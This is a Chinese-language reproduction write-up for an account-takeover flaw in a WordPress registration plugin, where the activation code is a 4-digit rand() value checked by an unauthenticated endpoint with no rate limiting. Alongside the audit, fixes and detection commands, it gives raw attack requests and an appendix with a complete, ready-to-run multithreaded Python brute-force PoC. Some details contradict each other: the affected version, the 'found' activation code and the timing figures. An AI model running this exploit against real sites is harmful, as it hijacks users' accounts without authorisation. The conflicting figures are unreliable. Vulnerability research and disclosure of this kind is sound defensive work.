CVE-2026-12417 漏洞复现:SignUp & SignIn 弱 Token 未认证账号接管
SignUp & SignIn 是一款 WordPress 用户注册/登录插件,提供 AJAX 注册、邮箱验证、密码重置等功能。2026 年该插件 ≤ 1.0.0 版本被披露存在 CVSS 9.8 的严重漏洞(CVE-2026-12417)——其账户激活码由 rand(1000, 9999) 生成,仅 9,000 种可能,且验证端点 wp_ajax_nopriv_pravel_check_acti
文章导读
漏洞的核心教训直指一个被广泛忽视的安全原则:密码学安全的随机数生成(CSPRNG)应替代通用随机函数——rand() 易受种子推测攻击,random_int() 产生加密级熵值。当 4 位数字验证码在 2026 年仍被部署于认证系统时,攻击者只需与服务器的往返延迟竞速。
本文从代码审计角度出发,完整追踪从 AJAX 入口到弱随机数生成的审计链路,并验证暴力破解在真实环境中的可行性与耗时。
关键词:CVE-2026-12417、WordPress 插件、SignUp & SignIn、弱 Token、账号接管、rand() 暴力破解、CVSS 9.8
正文
1. 环境搭建
1.1 架构概述
靶机基于 Docker 双容器架构:wordpress:6.2-apache + mysql:5.7,SignUp & SignIn 1.0.0 插件从 WordPress.org 官方仓库下载。插件通过 MU-Plugin 方式激活(避免 AJAX 端点注册时序问题)。
组件 | 版本 | 说明 |
WordPress | 6.2 + PHP 8.0 | 基础 CMS |
MySQL | 5.7 | 数据库 |
SignUp & SignIn | 1.0.3 | 漏洞版本(最新版 1.0.0,无更高版本修复) |
靶机 URL |
|
2. 漏洞定位
2.1 完整数据流(HTTP 入口 → 暴力破解成功)
POST /wp-admin/admin-ajax.php
action=pravel_check_activation&activation_code=1234
│
▼
[1] WordPress AJAX 路由 (admin-ajax.php)
匹配: wp_ajax_nopriv_pravel_check_activation
→ 无需认证,直接调用 pravel_check_activation()
│
▼
[2] 激活码验证 (lib/function.php:162-190)
$activation_code = sanitize_text_field($_POST['activation_code'])
get_users({meta_key: 'has_to_be_activated', meta_value: $code})
│
▼
[3] 匹配成功 → 用户角色提升
unset($wp_capabilities['pending'])
$wp_capabilities['subscriber'] = true
delete_user_meta($user_id, 'has_to_be_activated')
│
▼
[4] 攻击者以 subscriber 权限登录 → 账号接管2.2 漏洞代码
lib/function.php:102 — 生成激活码(弱随机数):
$activation_code = rand(1000,9999); // ← 仅 9,000 种可能,非加密安全随机
add_user_meta( $user_id, 'has_to_be_activated', $activation_code, true );lib/function.php:162-169 — 验证端点无任何防护:
function pravel_check_activation(){
$activation_code = sanitize_text_field($_POST['activation_code']);
$user = reset(get_users(array(
'meta_key' => 'has_to_be_activated',
'meta_value' => $activation_code,
'number' => 1,
)));
// ⚠️ 无 rate limiting,无失败锁定,无 CAPTCHA注册为 wp_ajax_nopriv_*(无需登录):
add_action( 'wp_ajax_nopriv_pravel_check_activation', 'pravel_check_activation' );
// ^^^^^^^^ 未认证用户可直接调用2.3 修复对比
该插件目前尚无官方修复版本(WordPress.org 上最新版本仍为 1.0.0)。以下为建议修复:
- $activation_code = rand(1000,9999);
+ $activation_code = random_int(100000, 999999); // 6 位加密安全随机数
+ // 增加速率限制
+ $attempts = get_transient('activation_attempts_' . $_SERVER['REMOTE_ADDR']) ?: 0;
+ if ($attempts > 5) {
+ echo json_encode(array('activation' => false, 'message' => 'Too many attempts'));
+ die();
+ }
+ set_transient('activation_attempts_' . $_SERVER['REMOTE_ADDR'], $attempts + 1, 300);3. 漏洞原理分析
3.1 根因:rand() vs random_int()
rand(1000, 9999) 产生 [1000, 9999] 范围内的伪随机整数,共 9,000 种可能值。在 PHP 中,rand() 使用线性同余生成器(LCG),其输出可被种子推测攻击预测。更关键的是,即在不预测种子的情况下,9,000 的搜索空间对于自动化攻击微不足道。
与之对比,random_int() 使用操作系统的 CSPRNG(/dev/urandom),每个值独立生成且不可预测。
3.2 暴力破解空间分析
参数 | 值 |
激活码范围 | 1000 - 9999 |
可能的激活码数 | 9,000 |
50% 概率所需请求 | ~4,500 |
99% 概率所需请求 | ~8,955 |
实测命中码值 | 5193 |
实测请求次数 | 4,193 |
实测耗时(20 线程, 本地 Docker) | 247 秒(~4 分钟) |
平均请求速率 | ~17 req/s |
远程环境预估(~200ms/req, 20 线程) | ~90 秒 |
3.3 攻击链总览
[1] 访问目标 WordPress 站点(触发插件初始化)
↓
[2] POST admin-ajax.php?action=pravel_ajaxregister
注册一个待激活账户(或等待合法用户注册)
↓
[3] 遍历 1000~9999,对每个值发送
POST admin-ajax.php?action=pravel_check_activation&activation_code={code}
↓
[4] 匹配成功后,账户的 wp_capabilities 从 pending 变为 subscriber
has_to_be_activated meta 被删除
↓
[5] 攻击者使用注册时设置的密码登录 /wp-admin/
或利用忘记密码功能直接重置账户密码4. 漏洞复现
复现环境
项目 | 配置 |
靶机 URL |
|
插件版本 | SignUp & SignIn 1.0.0 |
漏洞文件 |
|
激活码生成 |
|
验证端点 |
|
4.1 步骤 1:注册待激活账户
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:9982
Content-Type: application/x-www-form-urlencoded
action=pravel_ajaxregister&user_name=attacker&user_email=attacker@test.com
&user_password=Test123!&user_first_name=A&user_last_name=B响应:{"signup":true,"message":"SignUp successful, redirecting..."}
此时账户状态为 pending,激活码(如 2229)已通过邮件发送——但攻击者不知道这个值。
4.2 步骤 2:暴力破解激活码
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 192.168.113.157:9982
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
Connection: keep-alive
action=pravel_check_activation&activation_code=2419响应:{"activation":true,"message":"Successfully activation done you can login.."}
攻击者无需知道正确激活码——系统遍历 1000~9999 范围内的每个值:
[1000] {"activation":false} ← 失败不计入
[1001] {"activation":false}
...
[2229] {"activation":true} ← 🎯 命中!失败:
成功:
4.3 步骤 3:账号接管
激活后,账户的 wp_capabilities 从 pending 变为 subscriber。攻击者使用注册时设置的密码直接登录 /wp-login.php,或通过忘记密码功能重置密码。
4.4 验证对比
请求 | Payload | 响应 | 结果 |
注册 |
|
| ✅ 账户创建成功 |
错误码 |
|
| ❌ 正确拦截 |
正确码 |
|
| ✅ 认证绕过 |
登录 |
| 302 → Dashboard | ✅ 账号接管 |
5. 影响与危害
成功利用后,未认证攻击者可:
- 批量注册并接管账户:注册大量待激活账户,批量暴力破解激活码,获得大量合法 WordPress 账户
- 劫持合法用户:若网站存在用户注册功能且用户尚未激活邮箱,攻击者可暴力破解激活码接管这些合法账户
- 权限提升入口:获得 subscriber 权限后可进一步利用 WordPress 插件/主题漏洞进行提权
- 完全隐蔽:暴力破解请求与正常 AJAX 请求无异,无 PHP 错误或异常日志,WAF 难以区分
6. 修复建议
6.1 官方修复
当前最新版本 1.0.0 尚未修复此漏洞。建议联系插件作者(Pravel Solutions)或 WordPress 插件审核团队。
6.2 手动热修复
编辑 lib/function.php:
- $activation_code = rand(1000,9999);
+ $activation_code = random_int(100000, 999999);同时增加速率限制:
// 在 pravel_check_activation() 开始处添加
$ip = $_SERVER['REMOTE_ADDR'];
$attempts = get_transient("pravel_activation_attempts_$ip") ?: 0;
if ($attempts > 10) {
echo json_encode(array('activation' => false, 'message' => 'Too many attempts.'));
die();
}
set_transient("pravel_activation_attempts_$ip", $attempts + 1, 600);6.3 安全检测
# 1. 检测插件版本
wp plugin list --name=signup-signin --field=version
# 2. 审计 rand() 使用(漏洞特征)
grep -rn 'rand(1000.*9999)\|rand(10000.*99999)' wp-content/plugins/signup-signin/
# 3. 检测激活端点是否有速率限制
curl -s -X POST -d 'action=pravel_check_activation&activation_code=0000' \
http://target/wp-admin/admin-ajax.php | jq .
# 连续发送 20 次,若均返回 {"activation":false} 而非 "Too many attempts",则漏洞存在7. 总结
CVE-2026-12417 是一个典型的 "弱随机数 → 认证绕过 → 账号接管" 攻击链。三个层面的教训:
- 认证 Token 必须使用加密安全随机数:
rand()和mt_rand()适用于游戏和模拟,random_int()和wp_generate_password()适用于安全上下文。4 位数字在任何情况下都不应作为安全 Token 使用 - 认证端点必须有速率限制:即使使用 CSPRNG,低熵 Token(如 6 位数字,1,000,000 种可能)在没有速率限制的情况下仍可在可接受的时间内被暴力破解。速率限制是纵深防御的关键层——缺失即高危
wp_ajax_nopriv_*端点应视为完全公开的攻击面:任何注册为nopriv的 AJAX 处理器直接暴露于未认证互联网,必须经过与登录表单、REST API 端点同等严格的安全审查
参考链接
[1] WordPress.org — SignUp & SignIn Plugin. https://wordpress.org/plugins/signup-signin/
[2] NVD — CVE-2026-12417. https://nvd.nist.gov/vuln/detail/CVE-2026-12417
[3] PHP 文档 — random_int(). https://www.php.net/manual/en/function.random-int.php
附录:PoC 脚本
#!/usr/bin/env python3
"""
CVE-2026-12417 — SignUp & SignIn <= 1.0.0 Account Takeover via Brute-Force Activation Code
Vulnerability: rand(1000, 9999) generates a 4-digit activation code with only 9000
possible values. The wp_ajax_nopriv_pravel_check_activation endpoint has NO rate
limiting, allowing brute-force activation of any pending user account.
CVSS 9.8 — Unauthenticated Account Takeover
Usage:
python cve-2026-12417.py --target http://localhost:9982 --register
python cve-2026-12417.py --target http://localhost:9982 --bruteforce
python cve-2026-12417.py --target http://localhost:9982 --full
"""
import argparse
import http.client
import urllib.parse
import time
import sys
import json
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
def request(target: str, path: str, data: dict = None, timeout: int = 15) -> tuple:
"""HTTP POST and return (status, body)."""
url = urllib.parse.urlsplit(target)
host, port = url.hostname, url.port or (443 if url.scheme == "https" else 80)
body = urllib.parse.urlencode(data) if data else ""
try:
conn = (http.client.HTTPSConnection if url.scheme == "https"
else http.client.HTTPConnection)(host, port, timeout=timeout)
conn.request("POST", path, body=body,
headers={"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "CVE-2026-12417-PoC/1.0"})
resp = conn.getresponse()
raw = resp.read().decode()
conn.close()
return resp.status, raw
except Exception as e:
return 0, str(e)
def register_user(target: str, username: str, email: str, password: str) -> bool:
"""Register a new user via the vulnerable plugin."""
path = "/wp-admin/admin-ajax.php"
data = {
"action": "pravel_ajaxregister",
"user_name": username,
"user_email": email,
"user_password": password,
"user_first_name": "Test",
"user_last_name": "User",
}
status, body = request(target, path, data)
try:
resp = json.loads(body)
if resp.get("signup"):
print(f"[+] User '{username}' registered (pending activation)")
return True
else:
print(f"[-] Registration failed: {resp.get('message', body)}")
return False
except json.JSONDecodeError:
print(f"[-] Invalid response: {body[:100]}")
return False
def try_code(target: str, code: int) -> int:
"""Try a single activation code. Returns code if successful, 0 otherwise."""
path = "/wp-admin/admin-ajax.php"
data = {
"action": "pravel_check_activation",
"activation_code": str(code),
}
status, body = request(target, path, data)
try:
resp = json.loads(body)
if resp.get("activation"):
return code
except json.JSONDecodeError:
pass
return 0
def brute_force_activation(target: str, workers: int = 20):
"""Brute-force the 4-digit activation code (1000-9999)."""
print(f"[*] Brute-forcing activation codes 1000-9999 ({workers} threads)...")
print(f"[*] ~9000 codes, est. time: ~45s at 5req/s per thread\n")
start = time.time()
tested = 0
found = None
with ThreadPoolExecutor(max_workers=workers) as executor:
# Submit in batches to show progress
futures = {}
batch_size = 100
for batch_start in range(1000, 10000, batch_size):
batch_end = min(batch_start + batch_size, 10000)
for code in range(batch_start, batch_end):
futures[executor.submit(try_code, target, code)] = code
# Process completed futures
for future in as_completed(list(futures.keys())):
tested += 1
result = future.result()
if result:
found = result
executor.shutdown(wait=False, cancel_futures=True)
break
if found:
break
elapsed = time.time() - start
rate = tested / elapsed if elapsed > 0 else 0
pct = (batch_end - 1000) / 9000 * 100
print(f" [{pct:5.1f}%] {tested} tested in {elapsed:.1f}s ({rate:.0f} req/s)",
end="\r")
futures.clear()
elapsed = time.time() - start
print(f"\n[*] Total: {tested} codes in {elapsed:.1f}s")
if found:
print(f"\n[!!!] FOUND activation code: {found}")
print(f"[+] Account takeover successful!")
print(f"[+] Login at: {target}/wp-login.php")
return found
else:
print(f"\n[-] Activation code NOT found in range 1000-9999")
print(f"[-] Make sure there's a pending (unactivated) user first.")
print(f"[-] Run with --register to create one.")
return None
def main():
p = argparse.ArgumentParser(description="CVE-2026-12417 PoC")
p.add_argument("--target", required=True, help="Target URL")
p.add_argument("--register", action="store_true",
help="Register a test user first")
p.add_argument("--username", default="testuser_" + str(int(time.time()))[-4:],
help="Username for registration")
p.add_argument("--email", default=None,
help="Email for registration")
p.add_argument("--password", default="Test123456!",
help="Password for registration")
p.add_argument("--bruteforce", action="store_true",
help="Brute-force activation code")
p.add_argument("--full", action="store_true",
help="Register + brute-force (full attack)")
p.add_argument("--workers", type=int, default=20,
help="Number of threads (default: 20)")
args = p.parse_args()
target = args.target.rstrip("/")
if args.full:
# Full attack
email = args.email or f"test_{int(time.time())}@test.com"
if register_user(target, args.username, email, args.password):
print()
brute_force_activation(target, args.workers)
elif args.register:
email = args.email or f"test_{int(time.time())}@test.com"
register_user(target, args.username, email, args.password)
elif args.bruteforce:
brute_force_activation(target, args.workers)
else:
print("[*] CVE-2026-12417 SignUp & SignIn Account Takeover PoC")
print(f"[*] Target: {target}")
print(f"\nUsage:")
print(f" --register Create a test user")
print(f" --bruteforce Brute-force activation code")
print(f" --full Full attack (register + brute-force)")
print(f"\nExample:")
print(f" python cve-2026-12417.py --target {target} --full")
if __name__ == "__main__":
main()
# 完整攻击(注册 + 暴力破解)
python cve-2026-12417.py --target http://localhost:9982 --full
# 仅暴力破解(已有待激活用户)
python cve-2026-12417.py --target http://localhost:9982 --bruteforce